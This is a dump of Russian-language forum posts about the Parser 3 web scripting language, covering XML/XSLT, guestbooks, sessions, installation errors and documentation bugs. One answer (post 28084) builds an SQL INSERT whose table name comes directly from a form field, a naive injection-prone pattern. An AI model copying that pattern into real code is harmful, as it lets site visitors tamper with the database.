только восьмеричное я пытался подавить, догадываясь, что люди будут передавать цифры с лидирующими нулями.\
\
а шестнадцатеричное специально оставлено.\
http://www.trackers.su/test/bug.html?markId=0xAB"
"27975","Ну от такого сложно в осадок не выпасть...\
Когда можно будет наконец скачать 3.1.2, я посмотрел там много вкусностей и полезностей!"
"27976","Я разработал perl-скрипт, который с помощью Image::Magick уменьшает картинки и пихает их в STDOUT. Т.е. если смотреть STDOUT то чистого вида картинка (бинарный код верен, на экране рисунок появляется).\
\
Но если сделать следующее (кстати говоря описанное в документации, response:body):\
[code]\
$response:body[^file::cgi[$script_path]]\
[/code]\
\
Или с file::exec:\
[code]\
$response:body[^file::exec[$script_path;\
  $.stdin[]\
  $.CGI_X[$x_size]\
  $.CGI_Y[$y_size]\
  $.CGI_IMAGEPATH[$image_name]\
]]\
[/code]\
\
То в STDOUT parser-скрипт возвращает, в лучшем случае покоцанный бинарный код уменьшенного графического файла, причём  на 30% меньше исходного...\
\
Дело даже не в STDOUT’е скрипта, объект класса file созданные выше описанным конструктором, в поле $file.text выводит собственно этот же покоцанный бинарный код рисунка (уменьшенного). Обрезание, как бы грубо это не звучало, происходит при появлении нулевых символов ‘\\0’, что в свою очередь наводит на мысль, как возвращать STDOUT скрипта не как текст, а как бинарный код.\
\
В чём тут может быть дело, может этого просто не возможно сделать в принципе, и я успокоюсь, но по логике такая возможность должна существовать (по крайней мере, по моей :)), достаточно взглянуть на такую возможность Parser'а:\
\
[code]\
$square[^image::create(100;100;0x000000)]\
^square.circle(50;50;10;0xFFFFFF)\
$response:body[^square.gif[]]\
[/code]\
\
Помоему, логично, что бинарник можно возвращать без урезаний."
"27978","проверю. в 3.1.2 уже не попадёт."
"27979","в 3.1.3 версии."
"27980","Наоборот парсер надо ценить и поднимать как технологию!\
\
Владея перлом и технологиями типа Mason, и имея не малый опыт разработки, скажу что насколько бы парсер не был бы медленным и ограниченным, время разработки он уменьшает в разы, а также способствует снятию барьеров между HTML-кодером и программистом. \
Не спорю, парсер не язык программирования, но те кто ценит программирование как искусство, может писать сайты хоть на ассемблере, но работе в команде такой подход способствовать не будет.\
\
Так что надо способствовать развитию парсера как технологии, писать открытые модули, как тот парень сегодня с CMS. Наверное стоило бы открыть раздел на этом сайте, где люди бы могли открыто выложить свои модули работы с Image::Magick, gzip, и прочее... Честно скажу, меня сдерживает, что модуль будет проходить модерирование. Удобнее было бы иметь аккаунт на сайте, как сейчас и администрировать свои модули исправлять в них ошибки... Хотя бы так...\
\
Потому что, как это идёт сейчас -- это идёт плохо, т.к. никак не идёт, никто никому помогать не хочет…\
\
Пример: нашёл ошибку в открытом классе «число прописью», там вместо $num должен быть $rub, выслал это сообщение автору сего класса... В итоге неделя прошла код не исправили...\
\
Вот он этот код:\
[code]\
$rub(^math:trunc($amount)) # Рубли - целая часть числа\
# Если сделать $cop(^math:trunc(^math:frac($amount)*100))\
# по непонятной мне причине $amount = 123.21 дает $cop = 20\
	$cop(^math:frac($amount)*100) # Копейки - два знака после запятой\
	$cop(^cop.int[])\
	$result[^int2str($rub)[m;upper]]\
# Для числей от 10 до 20 нужно писать рублей, иначе в зависимости от последнего знака\
	^if($num%100 < 20){ $d($num%100) }{ $d($num%10) }\
	$result[${result} $drub.$d $cop]\
# Для копеек тоже самое, что и для рублей\
	^if($cop%100 < 20){ $d($cop%100) }{ $d($cop%10) }\
	$result[${result} $dcop.$d]\
[/code]\
\
Должно быть так:\
[code]\
$rub(^math:trunc($amount)) # Рубли - целая часть числа\
# Если сделать $cop(^math:trunc(^math:frac($amount)*100))\
# по непонятной мне причине $amount = 123.21 дает $cop = 20\
	$cop(^math:frac($amount)*100) # Копейки - два знака после запятой\
	$cop(^cop.int[])\
	$result[^int2str($rub)[m;upper]]\
# Для числей от 10 до 20 нужно писать рублей, иначе в зависимости от последнего знака\
	^if($rub%100 < 20){ $d($rub%100) }{ $d($rub%10) }\
	$result[${result} $drub.$d $cop]\
# Для копеек тоже самое, что и для рублей\
	^if($cop%100 < 20){ $d($cop%100) }{ $d($cop%10) }\
	$result[${result} $dcop.$d]\
[/code]\
\
Был уверен, что автор позаботиться подправит код... Ошибался!\
Кто виноват? Что делать?"
"27981","corrupted dumped unsignal 11\
В чем может быть дело, почему такие проблемы с установкой"
"27982","Segmentation fault on signal 11 (core dumped)\
при установке парсера у провайдера...\
\
Ну кто нибудь может помочь?"
"27983","Можно вот так:\
[code]\
  $markValue[$form:markId]\
  $markValue[^markValue.match[^^[0]*([1-9]\\d*)^$][g]{$match.1}]\
[/code]\
\
PS: обожаю regexp"
"27984","честно скажу с сабжем: corrupted dumped unsignal, не встречался, в форуме тоже вроде подобного нет, в доке ненашел.\
\
У меня лично 500 ошибка выскакивала коды я забыл выставить права доступа к файлу /cgi-bin/parser.cgi, они там типа 755"
"27985","в общем такие темы типа обсуждались, вот одно из этих обсуждений, а вообще попробуй запустить поиск на форуме \"segmentation fault\", там ентого вроде достаточно.\
\
На сколько я понял это связано с коректной компиляцией, по сути сам ставлю парсер на Linux'овый сервак, использую уже готовый скомпиленый parser.cgi, не пойму че парится ...\
\
или я не догоняю 6)"
"27986","по поводу модеририрования примеров... эх, кто сталкивался с выкладыванием чего-либо в данный раздел наверняка меня проклинают, ибо просто так туда не прорваться, однако если эти люди отбросят эмоции и посмотрят на то, что было до, и стало после правок, то наверное увидят, что ошибок/недочетов вначале было очень много.\
\
причем ошибок не сказать что технических. это ошибки, которые делают люди не зная технологию.\
\
грубо говоря: выкладывать в примеры код, где идет попытка разбора query вместо оперированием form по моему не правильно, и такое не должно попадать в примеры, т.к. это примеры как делать нельзя.\
\
лично мне не хочется чтобы в примерах главное было количество..."
"27987","Может кто-нибудь сталкивался с этим:\
Кажется парсер после рекурсивного вызова функции не возвращает\
управление в предыдущий вызов этой-же функции. \
По крайней мере у меня :(\
Может я за деревьями не вижу леса ? Поделитесь, пожалуйста, своим\
видением этой ситуации.\
А задача такая:\
нужно из xml-документа выделить все аттрибуты name элемента item,\
причем код должен знать, что, например, элемент item с аттрибутом\
name=\"Item 2.2\" является родительским относительно элемента item \
с аттрибутом name=\"Item 2.2.1\"\
\
Может есть и другой путь как этого добиться?\
\
Я не хочу примеров решения \"на халяву\" - действительно уперся \
в стену !\
Спасибо!\
\
Вот код на парсере:\
\
\
@main[]\
$document[^xdoc::load[menu.xml]]\
\
$menu_element[$document.documentElement]\
$elements_hash[$menu_element.childNodes]\
#^elements_hash._count[]\
^for[i](0;$elements_hash-1){\
    $element[$elements_hash.$i]\
\
    ^if($element.nodeName ne \"#text\"){\
	^if($element.nodeName ne \"sub\"){\
	    ^processItem[$element]\
	}{\
	    ^processSubItem[$element]\
	}\
    }\
}\
\
\
@processItem[element]\
    ^element.selectString[string(@name)]\
\
\
@processSubItem[element]\
    $sub_hash[$element.childNodes]\
    ^for[z](0;$sub_hash-1){\
	$sub_element[$sub_hash.$z]\
	^if($sub_element.nodeName ne \"#text\"){\
	    ^if($sub_element.nodeName ne \"sub\"){\
		z: $z ^processItem[$sub_element] \
	    }{\
		 z: $z ^self.processSubItem[$sub_element]\
	    }\
	}\
    }\
\
\
\
\
\
... а вот xml-документ:\
<menu>\
    <item name=\"Item 1\" ref=\"/\"/>\
    <item name=\"Item 2\" ref=\"/\"/>\
    <sub>\
	<item name=\"Item 2.1\" ref=\"/\"/>\
	<item name=\"Item 2.2\" ref=\"/\"/>\
	<sub>\
	    <item name=\"Item 2.2.1\" ref=\"/\"/>	    \
	    <item name=\"Item 2.2.2\" ref=\"/\"/>	    	    \
	    <item name=\"Item 2.2.3\" ref=\"/\"/>	    	    \
	</sub>\
\
	<item name=\"Item 2.3\" ref=\"/\"/>\
    </sub>\
    <item name=\"Item 3\" ref=\"/\"/>    \
</menu>"
"27990","А в общем, путь правильный или через кое-что ?"
"27991","И правильно описать переменные - это как? Статически?\
Не понимаю - объясни, пожалуйста."
"27992","Вот так оно и выходит есть какой-нибудь нетривиальный код, его новичок не напишет, а профи заломает или запарит выкладывать...\
\
Может всё-таки обсудим этот вопрос на форуме по человечески, составим требования к этому разделу, кто и как имеет право туда закачивать код, какие там будут разделы... потом составим сметку, разобьем на участников да и сделаем за пару вечеров?\
\
А?\
\
PS: Порой я думаю: Parser -- это технология всех или только design.ru? Они-то само собой её пользуют по максимуму, а другим программистам приходится заново изобретать колесо...\
Большой минус парсера, который бы стоило вписать в FAQ, отсутствие библиотек с примерами как в PHP (если в FAQ'е идёт сравнение с ним)... :)"
"27993","Встечу на улице ... :) сколько ты хороших примеров туда не пустил, народ понимаешь обижается, не все ведь сильные духом, чтобы через тебя пройти."
"27996","Скорее я Мишу, - один раз я его чуть не догнал, но он бегает очень быстро. Вообщем я на самом деле не в Питере теперь."
"27997","Получилось!!!\
Огромное спасибо! И куда я смотрел? О чем думал?"
"27999","вместо ^for[i](0;$elements_hash-1){} вполне бы подошел ^хеш.foreach\
\
вложенный двойной if можно упростить до ^if( что-то && что-то){}\
\
P.S. Пользуйтесь [url=\"http://www.parser.ru/forum/info.html\"]командами форматирования[/url], тогда код выглядит прикольнее, и можно сразу что-нить посоветовать, а так всё рябит и ничего не понятно..."
"28001","вот интересно, в NodeList hash елементы попадают по порядку следования в документе, или абы как..."
"28002","как раз в применении к NodeList обсуждаем с ПАФ-ом варианты, ибо ^for[i](0;^nodes._count[]){...}\
\
мне тоже совсем не нравится :)"
"28004","в принципе у зарегистрированных пользователей уже есть профайл.\
можно добавить возможность писать тексты + аттачить к ним файлы.\
\
и сделать страничку, где будут выводиться эти тексты пользователей (думаю не все а лишь те, которые \"одобрены\", а остальные могут быть доступны в профайле каждого пользователя).\
\
в принципе можно ещё добавить пользователям статусы (чтобы примеры/тексты продвинутых парсерописателей становились доступны без апрува, но с уведомлением нас, ессно)\
\
правда не ясно как быть с вирусами/спамом (сейчас присылают все мне, я пакую)"
"28006","Примерно так я себе и представлял... с системой утверждения и корректирования...\
\
Про вирусы: в принципе можно задать условие на объём файла и на его тип (т.е. не разрешать закачивать архивы, а только текстовые файлы, а их уже архивировать на сервере).\
\
Про спам: ну наверное не стоит давать разрешение на закачку тем пользователям, кто имеет e-mail на бесплатных серверах типа mail.ru, yandex и пр. Так обычно и делают, на многих сайтах при регистрации...\
\
Дело похоже сдвинулось... Я рад!"
"28007","У меня всё работает нормально. IE6+upgrades | Win XP | через 2 прокси захожу."
"28009","Люди очень нужен хороший электронный учебник по xml если кто кинет ссылку буду очень признателен а то не могу найти хоть ты лопни......"
"28010","http://www.sinor.ru/~xml/docs/\
www.raleigh.ru\
http://www2.stack.ru/~julia"
"28013","А можно поинтересоваться, когда(примерно) планируется выпустить эту сказочную версию? :)"
"28014","В Faq'е написано:\
[quote]\
[b]Я установил опцию «отправлять на E-mail все сообщения форума», а возможно ли сделать так, чтобы в почтовом ящике они отображались по тредам?[/b]\
В некоторых почтовых клиентах это сделать возможно.\
1. настроить фильтр сообщений, чтобы сообщения с форума падали в отдельную папочку\
2a. The Bat!: для этой папки установите: View|View threads by|References\
2b. Outlook Express: View|Current View... (*) Group messages by conversation \
[/quote]\
\
Проблема в том, что все сообщения имеют одинаковую тему: \"Answer message on www.parser.ru forum\", и поэтому все сообщения собираются в одну группу. Можно ли ставить в subject e-mail'а тему корневого сообщения, на который идёт ответ?!"
"28017","...а к отправке всех сообщений форема на email.\
\
это другая галочка, и там заголовки сохраняются."
"28018","Вопрос снят!"
"28020","Люди помогите как мне с помощю XSL выдрать с XML ТОЛЬКО то что к <body> относится и все head title style и тд. и тп. мне ненужно ВОБЩЕ!! \
Пишу на парсере \
# входной xdoc документ\
$sourceDoc[^xdoc::load[/info/index.xml]]\
\
# преобразование xdoc документа шаблоном article.xsl\
$transformedDoc[^sourceDoc.transform[index.xsl]]\
\
# выдача результата в HTML виде\
^transformedDoc.string[\
    $.method[html]\
]\
\
index.xsl takov\
\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\">\
\
<xsl:template match=\"body\">\
    <xsl:apply-templates select=\"para\" />\
</xsl:template>\
</xsl:stylesheet>"
"28021","самый простой ваиант\
\
<xsl:template match=\"/\">\
    <xsl:apply-templates select=\"//para\" />\
</xsl:template>"
"28022","Unhandled Exception (Debug)\
Entity: line 7: error: AttValue: \" or ' expected\
<meta http-equiv=Content-Type content=\"text/html; charset=windows-1251\">\
                 ^\
Entity: line 7: error: attributes construct error\
<meta http-equiv=Content-Type content=\"text/html; charset=windows-1251\">\
                 ^\
Entity: line 7: error: Specification mandate value for attribute Content-Type\
<meta http-equiv=Content-Type content=\"text/html; charset=windows-1251\">\
                              ^\
Entity: line 7: error: attributes construct error\
<meta http-equiv=Content-Type content=\"text/html; charset=windows-1251\">\
                              ^\
Entity: line 8: error: AttValue: \" or ' expected\
<meta name=ProgId content=Word.Document>\
           ^\
Entity: line 8: error: attributes construct error\
<meta name=ProgId content=Word.Document>\
           ^\
я так понимаю это еще при загрузке xdoc\
\
Entity: line 8: error: Specification mandate value for attribute ProgId\
<meta name=ProgId content=Word.Document>\
                  ^\
Entity: line 8: error: attributes construct errerrereerr\
z:/home/context/www/info/index.xml\
\
z:/home/context/www/auto.p(15)\
exception.type=xml"
"28023","Ничего неполучается начало xml takoe\
\
<html xmlns:v=\"urn:schemas-microsoft-com:vml\"\
xmlns:o=\"urn:schemas-microsoft-com:office:office\"\
xmlns:w=\"urn:schemas-microsoft-com:office:word\"\
xmlns=\"http://www.w3.org/TR/REC-html40\">\
\
<head>\
<meta http-equiv=Content-Type content=\"text/html; charset=windows-1251\">\
<meta name=ProgId content=Word.Document>\
<meta name=Generator content=\"Microsoft Word 9\">\
<meta name=Originator content=\"Microsoft Word 9\">\
<link rel=File-List href=\"./050304alt.files/filelist.xml\">\
<link rel=Edit-Time-Data href=\"./050304alt.files/editdata.mso\">\
<!--[if !mso]>\
<style>\
v\\:* {behavior:url(#default#VML);}\
o\\:* {behavior:url(#default#VML);}\
w\\:* {behavior:url(#default#VML);}\
.shape {behavior:url(#default#VML);}\
</style>\
<![endif]-->\
<title>\
Департамент контекстного анал_зу _нформац_йних резонанс_в\
\
</title>\
<!--[if gte mso 9]><xml>\
 <o:DocumentProperties>\
  <o:Author>GEO</o:Author>\
  <o:Template>Normal</o:Template>\
  <o:LastAuthor>GEO</o:LastAuthor>\
  <o:Revision>12</o:Revision>\
  <o:TotalTime>838</o:TotalTime>\
  <o:LastPrinted>2003-06-04T08:05:00Z</o:LastPrinted>\
  <o:Created>2003-06-04T08:12:00Z</o:Created>\
  <o:LastSaved>2003-06-04T08:57:00Z</o:LastSaved>\
  <o:Pages>12</o:Pages>\
  <o:Words>5944</o:Words>\
  <o:Characters>33886</o:Characters>\
  <o:Company>WORKGROUP</o:Company>\
  <o:Lines>282</o:Lines>\
  <o:Paragraphs>67</o:Paragraphs>\
  <o:CharactersWithSpaces>41614</o:CharactersWithSpaces>\
  <o:Version>9.2812</o:Version>\
 </o:DocumentProperties>\
</xml><![endif]--><!--[if gte mso 9]><xml>\
 <w:WordDocument>\
  <w:View>Print</w:View>\
  <w:HideSpellingErrors/>\
 </w:WordDocument>\
</xml><![endif]-->\
<style>\
<!--\
 /* Style Definitions */\
p.MsoNormal, li.MsoNormal, div.MsoNormal\
	{mso-style-parent:\"\";\
	margin:0in;\
	margin-bottom:.0001pt;\
	mso-pagination:widow-orphan;\
	font-size:12.0pt;\
	font-family:\"Times New Roman\";\
	mso-fareast-font-family:\"Times New Roman\";}\
h1\
	{mso-style-next:Обычный;\
	margin:0in;\
	margin-bottom:.0001pt;\
	text-align:center;\
	mso-pagination:widow-orphan;\
	page-break-after:avoid;\
	mso-outline-level:1;\
	font-size:12.0pt;\
	font-family:Arial;\
	color:white;\
	mso-font-kerning:0pt;\
	mso-ansi-language:UK;}\
h2\
	{mso-style-next:Обычный;\
	margin:0in;\
	margin-bottom:.0001pt;\
	text-align:center;\
	mso-pagination:widow-orphan;\
	page-break-after:avoid;\
	mso-outline-level:2;\
	font-size:18.0pt;\
	mso-bidi-font-size:12.0pt;\
	font-family:Arial;\
	color:#333399;\
	font-weight:normal;}\
h3\
	{mso-style-next:Обычный;\
	margin:0in;\
	margin-bottom:.0001pt;\
	text-align:justify;\
	mso-pagination:widow-orphan;\
	page-break-after:avoid;\
	mso-outline-level:3;\
	font-size:12.0pt;\
	font-family:\"Times New Roman\";}\
p.MsoFooter, li.MsoFooter, div.MsoFooter\
	{margin:0in;\
	margin-bottom:.0001pt;\
	mso-pagination:widow-orphan;\
	tab-stops:center 242.2pt right 484.45pt;\
	font-size:12.0pt;\
	font-family:\"Times New Roman\";\
	mso-fareast-font-family:\"Times New Roman\";}\
a:link, span.MsoHyperlink\
	{color:blue;\
	text-decoration:underline;\
	text-underline:single;}\
a:visited, span.MsoHyperlinkFollowed\
	{color:purple;\
	text-decoration:underline;\
	text-underline:single;}\
@page Section1\
	{size:595.45pt 841.7pt;\
	margin:.5in 1.0in .5in 1.0in;\
	mso-header-margin:.5in;\
	mso-footer-margin:.5in;\
	mso-even-footer:url(\"./050304alt.files/header.htm\") ef1;\
	mso-footer:url(\"./050304alt.files/header.htm\") f1;\
	mso-paper-source:0;}\
div.Section1\
	{page:Section1;}\
-->\
</style>\
<!--[if gte mso 9]><xml>\
 <o:shapedefaults v:ext=\"edit\" spidmax=\"1038\"/>\
</xml><![endif]--><!--[if gte mso 9]><xml>\
 <o:shapelayout v:ext=\"edit\">\
  <o:idmap v:ext=\"edit\" data=\"1\"/>\
 </o:shapelayout></xml><![endif]-->\
</head>\
\
<body lang=RU link=blue vlink=\"#3399ff\" style='tab-interval:35.4pt'>"
"28024","up to libxsl library"
"28027","пока не будет, считаем, что сайт… статический, сделан во FrontPage!"
"28029","Уважемый PAF из каких таких соображений он сделан во FrontPage? \
Может вам дать доступ на FTP чтобы вы убедились, что он на парсере написан?"
"28034","Довольно большая странность в том, что данный баг был только на этом хостинге, а на других не воспроизводился"
"28035","Ага большое спасибо а инфу особливо за http://www2.stack.ru/~julia\
а по первой ссылки старый учебник."
"28036","или побахвалиться?"
"28037","Отрицательный результат - тоже результат!\
Пусть будут примеры, как делать нестоит...\
а еще лучше - с объяснениями почему\
ибо не зря говорится - \"На ошибках учатся\""
"28038","Вопрос такой - какова максимальная длина возвращаемого хеша сабжевой функции? \
Нужно решить - какой размер поля в БД сделать, и вот пока что-то не очень ясно :("
"28039","В любом случае при любой длинне у Вас в БД реально будет на один байт больше чем в любой строке ^math:crypt[].\
\
^math:crypt[] длинной 28, помещается в БД с как 29 байт.\
^math:crypt[] длинной 1, помещается в БД с как 2 байта.\
Ну и так далее... Этот байт VarChar использует для хранения длинны поля."
"28040","максимум=37букв"
"28041","http://www.parser.ru/"
"28043","Что быстрее и лучше в строке подключения к БД:\
\
ClientCharset=windows-1251\
\
или \
\
сharset=UNICODE\
\
В случае если я работаю с UTF-8 (отдаю страницы в этой кодировке)? СУБД PostgreSQL"
"28044","Простейший код для генерации из xml+xslt при попытке обработать xml-файл размером больше ~100Kb выдает белиберду. Если размер xml-файла уменьшить - все нормально. Прошу помощи!\
\
Код:\
 $sourceDoc[^xdoc::load[priceas.xml]]\
 $transformedDoc[^sourceDoc.transform[priceas.xsl]]\
 ^transformedDoc.string[$.method[html]]"
"28045","Вот небольшой код который загржает из базы сообщению в гостевую, однако есть проблема - все сообщения содержат один и тот же текст (первой записи в БД), где моя ошибка, и вообще как правильно обрабатывать html шаблоны\
\
^connect[строка подкючения]{\
$mess[^table::sql{select * from guestbook}]	\
}\
			  \
$t[^file::load[text;/templates/guest_message.tmpl]]\
$template[^untaint{$t.text}]\
\
$parse[^table::create{from to\
%name	$mess.name\
%mail	$mess.mail\
%city	$mess.city\
%data	$mess.data\
%topic	$mess.topic_message\
%text	$mess.message	\
}]\
\
^mess.menu{\
^template.replace[$parse]\
}"
"28046","open. Открытие или создание\
\
[code]\
^hash::open[имя файла]  (надо ^hashfile::open[имя файла])\
[/code]\
\
Открывает имеющийся на диске файл или создает новый.\
Для хранения данных в настоящий момент используются два файла, с суффиксами .dir и .pag."
"28047","Попробуйте вот так\
\
[code]\
^mess.menu{\
\
$parse[^table::create{from to\
%name $mess.name\
%mail $mess.mail\
%city $mess.city\
%data $mess.data\
%topic $mess.topic_message\
%text $mess.message \
}]\
\
^template.replace[$parse]\
}\
[/code]\
\
\
Вообще рекомендую подумать, чего вы хотите и как это проще получить"
"28048","Такая вот ситуёвина есть список афоризмов или другой список фраз\
как бы сделать так чтобы выбиралась случайная и вставлялась на страничку?"
"28049","Проблема: \
* сделать так, чтобы юзер мог добавлять запись в базу (типа гостевой)\
\
Задачи:\
* не записываются две одинаковые записи (идентичны тело сообщения)\
* возможность записывать несколько разных записей с одного IP в течение нескольких минут\
\
Читал недавно в какой-то ветке про генерацию уникального ID при заходе и записи его в hidden переменную, так что если ID уже в базе, то запись не продублируется при нажатии F5 после submit'a.\
\
А как быть с двойным\\тройным\\.. нажатием на кнопку SUBMIT? \
\
Есть ли какие эффективные решения? Интересует именно проверка при записи (можно, конечно, искать двойные при выборке с базы), но т.к. записи \"тяжелые\" не хочется их в БД пускать."
"28050","Господа. Где взять парсер под Linux Debian???"
"28051","Господа. То, что у меня локально под win32 на parser3.1.1 работает, на сервере на parser3_3_0_0007_sp1_redhat72_cgi.tar.gz говорит:\
\
Array::get(1) out of range [0..0]\
\
Насколько я понял, сие происходит при вызове функции replace класса string\
С чем это может быть связано???"
"28052","Поделюсь я со всеми, когда его напишу!"
"28053","^math:random и Урок №1"
"28054","Нужно в документацию ввести раздел приложения \"новое в версии\". В котором отображать новые операторы, методы и т.д. которых раньше небыло. Писать изменения операторов относительно предыдущих.\
\
Зачем это надо?\
Во-первых легче будет найти и прочитать новинки. Я конечно понимаю что для некоторых не мешало бы еще на пару раз переворошить доку.\
Во-вторых будет где почитать что упразднено за ненадобностью, что добавлено и какие возможны конфликты версий.\
\
P.S. Добавьте пожалуйста в split разбивку по регулярным выражениям. Получится очень мощный инструмент для работы с текстом."
"28055","[code]\
#######\
@sections[][section]\
$section[^table::load[/_sections.cfg]]\
^section.menu{\
	<partition ^if(in $section.dir){in=\"yes\"} ^if(^request:uri.lower[] eq $section.dir && $env:REQUEST_METHOD ne POST){hit=\"yes\"} ^if(^section.param.int(0)){param=\"yes\"}>\
		<title>$section.title</title>\
		<dir>$section.dir</dir>\
	</partition>\
}\
#end @sections[]\
[/code]\
\
Содержание /_sections.cfg:\
[code]\
id	title	dir	param\
1	Фильмы	/movie/\
	Новости	/news/		\
#2	Разное	/misc/\
#	О проекте	/misc/about/\
#	Кинокритика	/critics/	1\
#	Вопросы и ответы	/misc/faq/	1\
#	Форум	/forum/\
#	Программа телепередач	/tv/	1\
#	Кинотеатры	/cinema/	1\
[/code]\
И если после последней строки не стоит перенос на новую строку, то \
[code]\
[Sat Mar 27 10:05:17 2004] exception in request exception handler: Exception 0xC0000005 at 0x0042770C\
[/code]\
Так и должно быть?\
\
Но, что примечательно, если я убираю строки с комментариями и убираю перенос после последней строки, то всё работает нормально :("
"28056","Хотелось бы узнать, насколько ресурсоемка выдача файлов через response:body?\
Скажем такой вариант\
[code]\
$f[^file::load[binary;article.txt]]\
$response:body[$f.text]\
[/code]\
насколько больше ресурсов сожрет чем просто выдача файла Апачем напрямую?\
\
И еще сообщает ли Parser в таком случае Content-Length?\
\
P.S. на всякий случай поясню задачу: перед выдачей некоторых файлов нужно проверять - можно ли отдавать данный файл. Т.к. это становится известно только после выполнения SQL-запроса, то стандартные средства администрирования веб-сервера не подходят."
"28057","Хотелось бы встроенной поддержки base64, которая в сочетании с hashfile и http_authorization дала бы возможность вести полноценые и быстрые сессии без использования cookies."
"28058","Ситуация: \
страницы сайта содержат одинаковые блоки: заголовок, левая и правая части страниц и т.д. Части хранятся в отдельных файлах. Для того, чтобы подключить эти части, раньше использовались SSI. После перехода на parser подключил эти части при помощи связки:   \
$f[^file::load[binary;$file]]\
^untaint[as-is]{$f.text}\
\
ПРОБЛЕМА:\
Если подключаемые таким образом блоки содержат команды парсера, то они вставляются \"как есть\" - без исполнения.\
Как это обойти? Как при помощи парсера \"собрать\" страницу из составных частей (заголовок, и т.п.), хранящихся в отдельных файлах, так, чтобы эти части в свою очередь могли также содержать вставки на парсере?"
"28059","Проверяем имеется ли размещаемое сообщение в БД ^($form:txt eq $bd.txt){имеется, размещать небудем}{отсутствует, разместим}"
"28061","а вообще вы выбрали путь решения задачи не в духе парсера. это будет медленнее. \
\
что мешает вместо старого include использовать ^method[] для того, чтобы в данном месте страницы что-либо появилось?"
"28064","1. Bugreport: Похоже, в примере hash of bool (chm-документация на 3.1.2) - легкая несуразность :-). Ничего сверхъестественного, но народ (особенно начинающий) может путаться.\
\
## Далее - фрагмент документации \
## (Знаками !!!> отмечены \"проблемные места\")\
Пример hash of bool   [3.1.2]\
В БД содержится таблица participants:\
participant\
!!!>Alexey\
!!!>Boris\
\
Выполнение кода:\
^connect[строка подключения]{\
   $participants[^hash::sql{select participant from participants}]\
}\
\
:даст хеш такой структуры:\
$participants[\
!!!>$.Konstantin(1)\
!!!>$.Denis(1)\
]\
\
2. Кстати, вопрос: допустимы ли здесь (в поле participant таблицы participants) пробелы, а также non-ASCII символы (например, кириллица)?\
\
3. Предложение по документации: каким-либо образом отмечать в оглавлении новые или изменившиеся пункты (по типу changelog). \
Парсерописателям будет проще проводить brain upgrade :-)"
"28065","Я наверо не так выразился я имел ввиду как это организовать алгоритмически.И желательно без tabdelimeted ибо если список составляет порядка 10000 фраз (а они не в одну строчку) то это достаточно трудно.Да иещё а Parser может сделать тоже самое из .txt файла?"
"28066","Подскажите пожалуйста, как подключиться к mySQL на FreeBSD 5."
"28068","и начинайте делать - возникнут вопросы и на них все с удовольствием ответят :)"
"28071","Потребовалось сделать настройки сайта для каждого пользователя, и я задумался, где же всё-таки лучше их хранить?\
\
1. В базе. При авторизации пишется сессионная кука. Далее все данные берутся из неё\
2. В базе. При авторизации пишется постоянная кука. Далее все данные берутся из неё\
3. В базе. Все данные берутся по мере надобности из базы\
4. Ещё что-то?"
"28072","http://www.parser.ru/docs/lang/hashfileclass.htm\
\
===========================================\
Пример \
...\
# …так запоминаем произвольную $information_string под ключом sid на 2 дня \
$sessions.$cookie:sid[$.value[$information_string] $.expires(1)] \
===========================================\
\
Надо - $sessions.$cookie:sid[$.value[$information_string] $.expires(2)]"
"28074","тот, который есть, ежели не пашет - собрать из исходников"
"28075","При работе с кодировкой UTF-8 невозможно залогиниться с логином где все буквы русские и первая буква большая.\
\
Используется Parser 3.1.1"
"28076","Код из примера:\
$path[/section/subsection/] \
^path.trim[end;/] \
\
Дает ошибку:\
string method not found\
trim\
Помогите, пожалуйста!"
"28080","Вместо\
[code]$.script_path — путь к файлу images.pl без имени файла и без завершающего обратного слеша ($.script_path[/../cgi-bin/images.pl]).[/code]\
\
Надо бы писать\
[code]$.script_path — путь к файлу images.pl без имени файла и с завершающим обратным слешем ($.script_path[/../cgi-bin/]).[/code]\
\
А то получается, что текст противоречит тому, что в скобках дано, да и по другому не работает (exception 7 выдаёт), только так... "
"28081","ИМХО\
Вариант 2 - хранить настройки дизайна, и т.п.\
Вариант 3 - хранить рег.данные (мыло, ФИО...)"
"28082","В базе данных undead у меня есть несколько одинаковый таблиц. Нужно выбрать в какую таблицу эти данные заносятся. Делаю так\
#нужная таблица идёт как 'base'\
<form method=\"POST\">\
&nbsp;<SELECT NAME=\"base\"> \
 <OPTION VALUE=\"news\" selected>Новости \
 <OPTION VALUE=\"files\">Файлы \
 <OPTION VALUE=\"table_n\">Таблица N \
</SELECT> \
..........\
#вводим данные в базу\
^connect[$connect_string]{ \
^void:sql{insert into base \
(date, header, sub, author, body) \
values \
('$form:date', '$form:header', '$form:sub', '$form:author', '$form:body') \
\
а не работает.. хотя с одной стороны понятно, он пытается данные в 'base' запихнуть.."
"28083","Я пользовался поиском, не нашел что надо, Народ, плиз хелп!\
\
Я сделал гостевую у себя на компе, а сейчас хочу ее в Интернет закинуть.\
\
вот что он мне выдает  см. http://nerudstrom.ru/book/\
\
в логах пишет:\
\
[Sat Mar 27 21:30:52 2004] /book/: /pub/home/serzyx11/nerudstrom/auto.p(21:2): './lib/libparser3mysql.so' can not open the module, can't open the module [<no type>]\
\
Сам скрипт подсоединия такой:\
\
@auto[] \
$db_name[zyx] \
$db_user[zyx_book] \
$db_pass[***] \
$db_port[3306] \
$connect_string[mysql://${db_user}:${db_pass}@localhost:${db_port}/${db_name}] \
\
@dbconnect[code]\
^connect[$connect_string]{$code}\
\
@load[]\
^MAIN:dbconnect{\
   $messages[^table::sql{select id, author, email, date, body from gbook}]\
}\
\
\
\
\
чего здесь на правильно ?"
"28084","^connect[$connect_string]{ \
^void:sql{insert into $form:base \
(date, header, sub, author, body) \
values \
('$form:date', '$form:header', '$form:sub', '$form:author', '$form:body')"
"28088","Правильно, спасибо. А почему так ?\
\
На локальном компьютере все в одном файле, хотя наверное инструкцию не прочитал до конца."
"28089","1. На localhost'е парсер не ставил\
2. Некоторые запросы у меня работали на хостинге вообще не имея папки LIB, а потом однажды оказалось, что без них никак.. так что самого интересует, почему ))"
"28090","Форма отдаёт методом GET\
<input name=\"user\" VALUE=\"$env:REMOTE_ADDR\">\
\
При получении хотел\
^if($form:user == $env:REMOTE_ADDR){\
...\
}\
\
А не хочет:\
'195.92.168.166' invalid number (double) [number.format] \
\
Вопрос наверняка был в форуме, но почему не работает?"
"28091","Пробую воспроизвести пример по hashfile из документации по Parser 3.1.2. на Денвер (Win32). Головной index.html - копи+пейст из примера. Файла auto.p в корне нет. Файл .htaccess - стандартный.\
\
Получаю ошибку:\
\
Unhandled Exception (file.access)\
